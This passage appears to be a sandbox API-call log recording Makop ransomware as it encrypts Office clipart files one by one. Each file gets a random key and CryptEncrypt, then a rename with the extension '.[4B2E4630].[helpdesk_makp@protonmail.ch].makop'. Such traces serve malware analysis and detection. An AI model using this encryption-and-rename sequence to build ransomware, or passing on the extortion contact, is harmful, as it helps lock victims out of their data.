wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0107.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0107.614] GetProcessHeap () returned 0x48a0000 [0107.614] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0107.614] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0107.615] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0107.615] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0107.619] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.619] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.619] GetProcessHeap () returned 0x48a0000 [0107.619] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0107.620] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0107.620] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.620] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0107.620] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0107.620] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0107.620] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0107.621] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0107.621] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0107.622] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.622] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.622] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.622] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3f34, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3f34, lpOverlapped=0x0) returned 1 [0107.624] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3f40, dwBufLen=0x3f40 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3f40) returned 1 [0107.624] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.624] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3f40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3f40, lpOverlapped=0x0) returned 1 [0107.625] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.625] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4014, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.625] SetEndOfFile (hFile=0xf0) returned 1 [0107.632] GetProcessHeap () returned 0x48a0000 [0107.632] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0107.632] GetProcessHeap () returned 0x48a0000 [0107.632] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0107.632] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0107.632] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0107.634] CloseHandle (hObject=0xf0) returned 1 [0107.634] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4354, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD05119_.WMF", cAlternateFileName="")) returned 1 [0107.634] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0107.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0107.635] GetProcessHeap () returned 0x48a0000 [0107.635] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0107.635] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0107.635] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0107.635] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0107.641] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.641] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.641] GetProcessHeap () returned 0x48a0000 [0107.641] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0107.641] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0107.641] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.641] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0107.641] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0107.641] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0107.642] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0107.642] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0107.642] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0107.642] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.642] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.642] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.643] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4354, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4354, lpOverlapped=0x0) returned 1 [0107.644] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4360, dwBufLen=0x4360 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4360) returned 1 [0107.644] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.644] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4360, lpOverlapped=0x0) returned 1 [0107.644] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.645] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4434, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.645] SetEndOfFile (hFile=0xf0) returned 1 [0107.651] GetProcessHeap () returned 0x48a0000 [0107.652] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0107.652] GetProcessHeap () returned 0x48a0000 [0107.652] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0107.652] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0107.652] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0107.654] CloseHandle (hObject=0xf0) returned 1 [0107.654] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3ef0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD06102_.WMF", cAlternateFileName="")) returned 1 [0107.654] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0107.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0107.655] GetProcessHeap () returned 0x48a0000 [0107.655] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0107.655] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0107.655] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0107.655] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.655] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.655] GetProcessHeap () returned 0x48a0000 [0107.656] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0107.656] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0107.656] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.656] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0107.660] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0107.660] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0107.660] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0107.660] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0107.660] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0107.661] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.661] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.661] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.661] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3ef0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3ef0, lpOverlapped=0x0) returned 1 [0107.662] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3ef0, dwBufLen=0x3ef0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3ef0) returned 1 [0107.662] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.663] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3ef0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3ef0, lpOverlapped=0x0) returned 1 [0107.663] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.663] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3fc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.663] SetEndOfFile (hFile=0xf0) returned 1 [0107.671] GetProcessHeap () returned 0x48a0000 [0107.671] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0107.671] GetProcessHeap () returned 0x48a0000 [0107.671] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0107.671] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0107.671] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0107.672] CloseHandle (hObject=0xf0) returned 1 [0107.673] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4124, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD06200_.WMF", cAlternateFileName="")) returned 1 [0107.673] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0107.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0107.677] GetProcessHeap () returned 0x48a0000 [0107.677] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0107.677] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0107.677] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0107.677] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0107.681] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.681] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.682] GetProcessHeap () returned 0x48a0000 [0107.682] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0107.682] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0107.682] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.682] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0107.682] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0107.682] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0107.682] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0107.682] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0107.683] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0107.683] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.683] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.683] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.683] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4124, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4124, lpOverlapped=0x0) returned 1 [0107.685] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4130, dwBufLen=0x4130 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4130) returned 1 [0107.685] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.686] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4130, lpOverlapped=0x0) returned 1 [0107.686] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.686] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4204, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.686] SetEndOfFile (hFile=0xf0) returned 1 [0107.694] GetProcessHeap () returned 0x48a0000 [0107.694] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0107.694] GetProcessHeap () returned 0x48a0000 [0107.694] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0107.694] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0107.694] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0107.695] CloseHandle (hObject=0xf0) returned 1 [0107.696] FindNextFileW (in: 